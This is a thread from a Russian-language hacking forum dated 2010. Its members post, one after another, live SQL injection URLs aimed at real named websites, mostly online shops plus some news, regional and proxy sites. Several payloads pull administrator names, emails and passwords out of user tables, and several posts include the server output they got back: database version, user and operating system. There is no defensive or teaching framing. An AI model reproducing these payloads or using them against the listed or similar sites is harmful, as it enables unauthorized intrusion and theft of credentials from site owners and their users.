SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,183
    Likes Received:
    618
    Reputations:
    690
    ну ок продолжаем )
    http://www.muskelzone.de/article.php?id=163'/*!limit+0+union+select+1,2,concat_ws(0x3a,admin_id,admin_name,admin_email,admin_pass),4,5,6,7,8+from+shop_admin*/+--+!
     
    _________________________
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    %username% а ты будеш стоять и смотрать? )

    http://www.stows.co.uk/index.php?_a=viewProd&productId=342+or+(1,1)=(select+count(0),concat((select+password+from+cc3CubeCart_admin_users+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
  3. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    ну раз так, то продолжаем=), ну как бы круче шопа..

    http://www.datenretter.de/aspprog/emamediaselection.asp?SEID=1'+or+1=(select top 1 table_name from information_schema.tables)--
    Version:
     
    #12663 Дирижабль, 18 Aug 2010
    Last edited: 18 Aug 2010
    2 people like this.
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.bernu-preces.lv/index.php?productID=588+or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
  5. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,183
    Likes Received:
    618
    Reputations:
    690
    http://www.pharmasports.de/pharmasports/index.php?cat=16+and+row(1,2)in(seleCt%20Count(*),ConCat((seleCt+Count(*)+from+orders+limit+1),floor(rand(0)*2))as+a+from+orders+x+group+by+a)--&sort=&XTCsid=d5ack1mr1kcibkt7o0h0dun41tmqcebc&filter_id=26
    path : /srv/www/htdocs/web2/html/pharmasports/
     
    _________________________
    3 people like this.
  6. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://sadovod.net/index.php?productID=4281'+or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
  7. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    шоп..
    http://www.epier.com/l2.asp?catid=8082+or+1=(select top 1 table_name+from+information_schema.tables)
    гдето 600-700 таблиц..

    Version:
     
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.cbperformance.com/catalog.asp?ProductID=1665+and+1=@@version
     
    _________________________
  9. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    побалуюсь с вами :D

    хз шоп или нет
    Code:
    http://www.olionatura.de/_rohstoffe/index.php?id=-62+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--
    database:d0036ec4
    version:5.0.51a-3ubuntu5.7-log
    user:[email protected]
     
    3 people like this.
  10. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    шоп..
    http://www.onelifeoutfitters.com/detail.cfm?ID=355297&storeid=78 and ascii(substring((database()),17,1))=115

    будем до утра так сидеть(
     
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://550cord.com/products/info.asp?ProductID=7'+or+(1,1)=(select+count(0%20),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+
     
    _________________________
    1 person likes this.
  12. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Шоп........
    http://www.tabak-shop.ru/index.php?mod=showpodcat&podcatid=-14'+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10+and+'1'='1
     
    4 people like this.
  13. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    КОПИИ ШВЕЙЦАРСКИХ ЧАСОВ

    http://www.clockmarket.ru/catalog/index.php?brand_id=-8+and+1=2+union+select+1,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6+--#80101


    version : 5.0.51A-24+LENNY4
    user : CLOCKMARKET@LOCALHOST
    database : CLOCKMARKET
    os : DEBIAN-LINUX-GNU
     
    1 person likes this.
  14. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    593
    Likes Received:
    129
    Reputations:
    52
    Code:
    http://www.nigeriaff.com/Newsdisplay.php?ID=-181+union+select+1,concat_ws(0x3a,Username,Password),3,4,5,6,7,8,9,10,11+from+userlogin+limit+1,1--+
     
    1 person likes this.
  15. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    http://vniisubtrop.ru/news.php?id=-14+union+select+1,2,concat_ws(user(),version()%20,database()),4,5,6,7,8+--+
    www.luberec.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.pushkino-online.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.lobnya-online.ru/realty_ads.php?aid=-123+inion+select+1+--+
     
    #12675 KNOT, 18 Aug 2010
    Last edited by a moderator: 18 Aug 2010
  16. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    http://oz-gorod.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.nasha-balashiha.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.krasnogor.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.gorodhimki.ru/realty_ads.php?aid=-123+inion+select+1+--+
    http://www.gorodkorolev.ru/realty_ads.php?aid=-123+inion+select+1+--+
     
    1 person likes this.
  17. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    PR 1

    PR 1

    PR 2 ТИЦ 10

    PR 7 ТИЦ 50
     
    #12677 -PRIVAT-, 18 Aug 2010
    Last edited: 18 Aug 2010
    5 people like this.
  18. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    https://www.regsoft.net/regsoft/vieworderpage.php3?productid=34083&ordertypeid=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),13,14
     
    3 people like this.
  19. Classik+

    Classik+ Banned

    Joined:
    20 Jul 2010
    Messages:
    32
    Likes Received:
    30
    Reputations:
    6
    http://metal-dekor.ru/index.php?option=com_simpleshop&task=browse&Itemid=30&catid=-1%20UNION%20SELECT%20user%28%29,concat%28username,0x3a,password%29,user%28%29,user%28%29,user%28%29,user%28%29,user%28%29,user%28%29%20FROM%20jos_users--

    host6518@localhost
     
    1 person likes this.
  20. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    http://boldproxy.com/jump.php?id=-1+union+select+1,group_concat(table_name)+FROM+information_schema.tables+Where+table_schema=0x626F6C6470726F787970746E6577--


    соц-сеть забугорная
     
    3 people like this.
Thread Status:
Not open for further replies.